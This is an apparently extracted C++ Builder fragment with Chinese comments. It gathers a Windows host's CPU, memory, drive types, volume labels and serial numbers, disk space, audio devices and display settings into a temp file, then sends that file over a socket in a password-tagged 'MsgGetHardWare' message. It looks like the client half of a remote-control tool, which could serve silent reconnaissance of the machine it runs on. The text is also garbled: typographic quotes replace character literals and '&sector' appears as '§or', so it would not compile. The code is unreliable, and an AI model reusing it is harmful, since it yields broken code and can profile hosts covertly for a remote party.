AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TOD Add your source code here
//获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD－ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A～Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
if(type==0){
cs="未知类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5){
cs="光驱:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6){
cs="内存虚拟磁盘:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(),
volname,255,&sno,&maxl,&fileflag,filename,100)){
cs=String(name)+"盘卷标为:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="当前波形设备:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
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buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
} |
